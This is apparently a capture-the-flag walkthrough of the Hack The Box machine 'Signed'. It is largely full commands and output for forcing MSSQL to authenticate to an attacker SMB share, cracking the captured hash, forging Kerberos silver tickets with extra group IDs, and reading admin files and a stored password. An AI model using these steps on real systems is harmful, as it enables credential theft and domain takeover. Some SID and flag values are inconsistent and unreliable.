Skip to main content
HTB: Signed
  1. Posts/

HTB: Signed

Table of Contents

Introduction
#

Signed is an assumed breach Windows box with credentials for a local MSSQL account. From this foothold, I leveraged xp_subdirs to coerce authentication from a service account, and subsequently cracked the captured NetNTLMv2 hash. This enabled the forging of a silver ticket, granting sysadmin privileges on the database by targeting the IT group’s RID, ultimately leading to command execution. For root flag I used OPENROWSET BULK impersonation with silver tickets to read files as Domain Admin.

Assumed breach:

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

nmap
#

nmap finds single open TCP port, MSSQL (1433):

└─$ sudo nmap -sC -sV -v -oA nmap_scan/nmap_results 10.129.34.146
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-14T07:37:53
| Not valid after: 2055-10-14T07:37:53
| MD5: 2fef:4fc3:2fb2:3d66:6bef:5af5:e160:d9e4
|_SHA-1: 7f14:286f:aca4:5ba1:f0b3:f15b:9428:954f:615c:3353
|_ssl-date: 2025-10-14T07:47:51+00:00; +4s from scanner time.
| ms-sql-ntlm-info: 
| 10.129.34.146:1433: 
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info: 
| 10.129.34.146:1433: 
| Version: 
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Initial Access
#

Using the provided credentials I connected to the MSSQL:

└─$ mssqlclient.py -p 1433 scott@10.129.61.216

There was nothing of note in there, just default databases:

SQL (scott  guest@master)> SELECT name FROM sys.databases;
name     
------   
master   
tempdb   
model    
msdb    

Next idea was to enable xp_cmdshell but it was disabled.

MSSQLSVC authentication
#

Capture MSSQL Service Hash
#

I can steal the MSSQL service account hash using xp_subdirs or xp_dirtree stored procedures, this uses SMB protocol to retrieve a list of child directories from a share I control. This will force MSSQL to authenticate to me and I can capture the NTLMv2 hash .

First, I need to start Responder:

└─$ sudo responder -I tun0

and then execute the SQL query:

SQL (guest@master)> xp_subdirs '\\10.10.110.17\share\'

If the service account has access to my server, I will get its hash.

It worked and I get this:

[SMB] NTLMv2-SSP Client : 10.129.61.216
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:30a7c79ad50b0d4d:CA623A1A606E374CFC89DC9F1F7859FC:0101000000000000006C0F47493EDC012DC6D3951242076D0000000002000800460049005700350001001E00570049004E002D0049004700530035005A0046005600540056003000570004003400570049004E002D0049004700530035005A004600560054005600300057002E0046004900570035002E004C004F00430041004C000300140046004900570035002E004C004F00430041004C000500140046004900570035002E004C004F00430041004C0007000800006C0F47493EDC0106000400020000000800300030000000000000000000000000300000865071E75DB543A83277667C1F0B3DC3B7C927938804B3DDC1C6645C1575A6950A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340031000000000000000000 

Crack the hash
#

Now I can attempt to crack it:

└─$ hashcat -m 5600 mssqlsvc.hash ~/Tools/rockyou.txt

It run for short while, and finally I got a password: purPLE9795!@, I can use to sign in as mssqlsvc:

└─$ mssqlclient.py -p 1433 'signed.htb/mssqlsvc:purPLE9795!@'@10.129.231.40 -windows-auth

Shell as MSSQLSVC
#

After I get in I still see I only have quest access:

SQL (SIGNED\mssqlsvc  guest@master)>

Silver Ticket
#

A Silver Ticket is a powerful Kerberos attack that allows an attacker to forge a valid Kerberos service ticket (TGS) for any service on a specific server, without needing access to the Domain Controller’s KRBTGT key. Instead, it relies on knowing the NTLM hash of the target service account itself. By knowing this hash, an attacker can encrypt a crafted ticket with the service account’s key, making it appear legitimate to the target server. This grants the attacker unauthorized access to services like CIFS (file shares), MSSQL, HTTP, or any other Kerberos-aware service, effectively bypassing authentication controls and impersonating any user, including highly privileged accounts, on that specific server.

TGS as MSSQLSVC
#

To create this ticket I need NTLM hash of the password and Domain SID.

First, the hash:

└─$ echo -n 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

And Domain SID:

I can grab the user SID and remove the last RID

SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000' 

From this I could calculate the standard format:

  • 01 - Revision (1)
  • 05 - Number of sub-authority values (5)
  • 000000000005 - Identifier Authority (5 = NT Authority)
  • 15000000 - First sub-authority (21 in little-endian = SECURITY_NT_NON_UNIQUE)
  • 5b7bb0f3 - Second sub-authority (domain identifier part 1)
  • 98aa2245 - Third sub-authority (domain identifier part 2)
  • ad4a1ca4 - Fourth sub-authority (domain identifier part 3)
  • 4f040000 - Fifth sub-authority (RID = 1103) ← Remove this

I was lazy here and asked ChatGPT and it gave me the result:

S-1-5-21-4085379419-1168018072-2762947757

With these ready I could generate ccache file using ticketer:

└─$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 1103 mssqlsvc
└─$ export KRB5CCNAME=mssqlsvc.ccache

And log in:

└─$ mssqlclient.py -k -no-pass DC01.signed.htb 
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)> 

Now I can try the xp_cmdshell again:

└─$ mssqlclient.py -k -no-pass DC01.signed.htb 
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies 

<SNIP>

SQL (SIGNED\mssqlsvc dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc dbo@master)> EXEC xp_cmdshell 'whoami';
output            
---------------   
signed\mssqlsvc   

NULL              

SQL (SIGNED\mssqlsvc dbo@master)> EXEC xp_cmdshell 'type "C:\Users\mssqlsvc\Desktop\user.txt"'
output                             
--------------------------------   
85b798149a9a5993507ee6c95bdec924   

NULL                               

SQL (SIGNED\mssqlsvc dbo@master)> 

It works and I grabbed the user flag!

Root Flag
#

I tried to do the same thing for Administrator, but the Administrator user does not have any useful privileges.

TGS with IT
#

Looking around I noticed the IT group is sysadmin:

SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin   
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------   
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0   

##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0   

##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0   

SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0   

NT SERVICE\SQLWriter WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0   

NT SERVICE\Winmgmt WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0   

NT SERVICE\MSSQLSERVER WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0   

NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0   

NT SERVICE\SQLSERVERAGENT WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0   

NT SERVICE\SQLTELEMETRY WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0   

scott SQL_LOGIN 0 0 0 0 0 0 0 0 0   

SIGNED\Domain Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0 

Using nxc and its --rid-brute I grabbed its RID - 1105:

└─$ nxc mssql 10.129.242.173 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute
MSSQL 10.129.242.173 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.242.173 1433 DC01 [+] DC01\scott:Sm230#C5NatH 
MSSQL 10.129.242.173 1433 DC01 498: SIGNED\Enterprise Read-only Domain Controllers
MSSQL 10.129.242.173 1433 DC01 500: SIGNED\Administrator
MSSQL 10.129.242.173 1433 DC01 501: SIGNED\Guest
<SNIP>
MSSQL 10.129.242.173 1433 DC01 1103: SIGNED\mssqlsvc
MSSQL 10.129.242.173 1433 DC01 1104: SIGNED\HR
MSSQL 10.129.242.173 1433 DC01 1105: SIGNED\IT
<SNIP>

And tried the Silver Ticket again, this time with the IT group added:

└─$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -user-id 1103 -groups '512,1105' tester       
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/tester
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in tester.ccache
└─$ KRB5CCNAME=tester.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.13.0.dev0+20250516.105908.a63c652 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)>

I successfuly signed in and tried xp_cmdshell to grab root flag, but failed:

SQL (SIGNED\mssqlsvc dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)> xp_cmdshell "type C:\Users\Administrator\Desktop\root.txt"
output              
-----------------   
Access is denied.   
NULL 

Looking at my groups, there is no IT:

SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell "whoami /groups"
output                                                                             
--------------------------------------------------------------------------------   
NULL                                                                               
GROUP INFORMATION                                                                  
-----------------                                                                  
NULL                                                                               
Group Name Type SID Attributes                                           
========================================== ================ =============================================================== ==================================================   
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group   
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group   
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group   
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group   
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner       
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group 

The xp_cmdshell is spawning a cmd.exe and it does not know I am in fact in IT :) But I can get around that little setback - OPENROWSET with BULK can read files in the groups:

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn                                
---------------------------------------   
b'2e43af1fs4d9816ensrf4n8sw9+bd952ds1\r\n'

And that is the root flag!

Be the root
#

To go a little bit beyond, there is an admin password in the PowerShell history file:

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS Contents;

<SNIP>
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
<SNIP>
Author
~